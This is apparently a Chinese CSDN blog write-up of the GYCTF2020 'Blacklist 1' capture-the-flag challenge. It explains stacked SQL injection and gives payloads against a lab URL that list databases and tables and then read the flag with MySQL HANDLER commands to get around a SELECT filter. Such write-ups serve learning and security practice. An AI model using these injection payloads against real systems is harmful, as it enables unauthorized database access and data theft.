【无标题】

本文详细介绍了在解决GYCTF2020的Blacklist1挑战时遇到的SQL注入问题,从常规SQL注入到联合注入,再到堆叠注入的运用。堆叠注入利用分号(;)将多条SQL语句串联执行,突破了关键字限制。当SELECT被屏蔽时,作者通过Handler命令来查询信息,成功获取了Flag。文章深入探讨了Handler命令的工作原理,并提供了具体的Payload示例。
摘要由CSDN通过智能技术生成

[GYCTF2020]Blacklist 1

一开始进行常规sql注入的时候可以发现存在注入点

在这里插入图片描述进行联合注入,发现屏蔽了关键字在这里插入图片描述
做到这里没有思路去看wp发现使用的是堆叠注入
堆叠注入定义:一堆 sql 语句(多条)一起执行
堆叠注入原理:在SQL中,分号(;)是用来表示一条sql语句的结束,我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?
与联合注入的区别:
联合注入是用关键词 union 将语句进行合并,两个语句必须拥有相同的项,而且功能有限。主要用来查询
堆叠注入则用“;”将不同语句隔开,可以有不同的功能。

通过堆叠注入构造payload查看库名:http://b87d8e8a-6b1d-48e3-9aa9-e8c44adb77ab.node3.buuoj.cn/?inject=1’;show databases;#
在这里插入图片描述

构造payload查表名:http://b87d8e8a-6b1d-48e3-9aa9-e8c44adb77ab.node3.buuoj.cn/?inject=1’; show tables; #
在这里插入图片描述

但因关键字select被限制,
后面还用到了handler 命令来查询
可构造如下的Payload:
1’;HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#
拿到flag
在这里插入图片描述
关于handler命令详解
https://blog.csdn.net/jesseyoung/article/details/40785137

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值